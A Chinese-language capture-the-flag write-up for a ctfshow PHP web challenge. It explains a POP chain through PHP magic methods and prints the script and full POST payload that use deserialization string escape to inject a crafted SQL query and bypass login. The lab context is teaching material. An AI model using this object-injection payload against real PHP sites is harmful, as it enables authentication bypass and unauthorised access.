CTFSHOW-日刷-game-gyctf web2/pop链-反序列字符逃逸
尝试注入,发现没啥效果。尝试扫描后台
发现存在www.zip的网站备份,下载打开,进行php代码审计
一共4个PHP文件,其中index.php有一个当前目录的文件包含,因此可以绕过登入直接查看update.php
/index.php?action=update
但是会检查session因此没法看到flag
update.php
<?php require_once('lib.php'); echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>'; if ($_SESSION['login']!=1){ echo "你还没有登陆呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>
可以看到要session[login]=1 ,才能获得flag,转到lib.php
if ($this->token=='admin') { return $idResult; } if (!$idResult) { echo('用户不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密码错误!'); return false; } $_SESSION['token']=$this->name; return $idResult; }
从login函数分析可知,要想能成功返回(也就是登入成功),有两种方法,一就是token=admin,二是满足passwd的md5值等于数据库中的存储值
但是token是在方法二满足后才赋值的,所以还是要用方法二
注意到login函数接收一个参数$sql,这个是执行的sql语句,默认是 “select id,password from user where username=?”,我们可以想办法让它等于 “select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?”
这样sql返回的passwd就是1的MD5值,同时我们让post的passwd等于1,不就满足条件二吗,而且条件二满足后,就会让session里的token=admin,再次登入就不会检查密码了。
下一步就是想办法传入这个参数并且执行login函数
观察可得update页面会调用user类的update()方法
...
$users=new User(); $users->update();
...
转到user类的该方法
public function update(){ $Info=unserialize($this->getNewinfo());
...
}
发现调用getinfo方法,转进
public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); }
分析可知这里接收两个参数age和nickname,然后以这两个为参数值构造一个info类,过滤后再进行序列化
转到info类
class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } }
可以发现__call函数,当调用info类中一个不存在的类时就会执行改魔术方法,执行输出当前类中的ctrlcase的login函数,并且将参数传递进去
这样我们就能够调用login函数了,同时$sql参数也有我们指定
但是在哪调用info类中的不存在函数,这里主要看user类的一个tosring方法
public function __toString() { $this->nickname->update($this->age); return "0-0"; }
发现这里会调用nickname中的update函数,age作为参数,如果我们让nickname为info类,age等于我们想执行的语句,不就行了吗。
下一步时寻找在哪才能调用这个tostring方法,最后再UpdateHelper类中
Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->$sql; } }
这里可以看到echo了当前类中的$sql变量,我们让$sql等于user类即可
这里给出反序列构造方法:
<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();
$in=new Info();
$in->CtrlCase=$db;
$user=new User();
$user->nickname=$in;
$update=new UpdateHelper();
$update->sql=$user;
echo serialize($update);
但是如何传入这个序列化数据进行反序列化呢?由上面分析可知,源代码中会反序列化一个info类,但是那个info类我们只能传入两个参数,然后它两个参数来构造类并且反序列化。这里其实可以绕过,方法是利用反序列化字符串字符逃逸漏洞
我们让info三个参数(除了传入的两个参数,还有一个ctrlcase参数),其中一个为我们想要的序列化类即可(类中类也会一起序列化,反序列化会一起反序列化)。这里用字符逃逸漏洞,
注意
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
可以看到有字符替换,且长度不同,也就意味着字符逃逸,这里不详细说明了
给出最终脚本
<?php class dbCtrl { public $name="admin"; public $password="1"; } class Info{ public $age; public $nickname; public $CtrlCase; } class User { public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?"; public $nickname; } Class UpdateHelper{ public $sql; } $db=new dbCtrl(); $in=new Info(); $in->CtrlCase=$db; $user=new User(); $user->nickname=$in; $update=new UpdateHelper(); $update->sql=$user; function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } $k=new Info(); $k->age=18; $m=str_repeat("into",146); $k->nickname=$m."\";s:8:\"CtrlCase\";".serialize($update).'}'; echo($k->nickname); ?>
payload:
age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
稍微解释下,
";s:8:"CtrlCase";serialize($update)}
双引号和前面提前闭合(长度替换后),后面加上ctrlcase参数,并且内容是我们想反序列化的类,最后加上一个}来提前结尾
最后再用admin 随便啥密码登入一下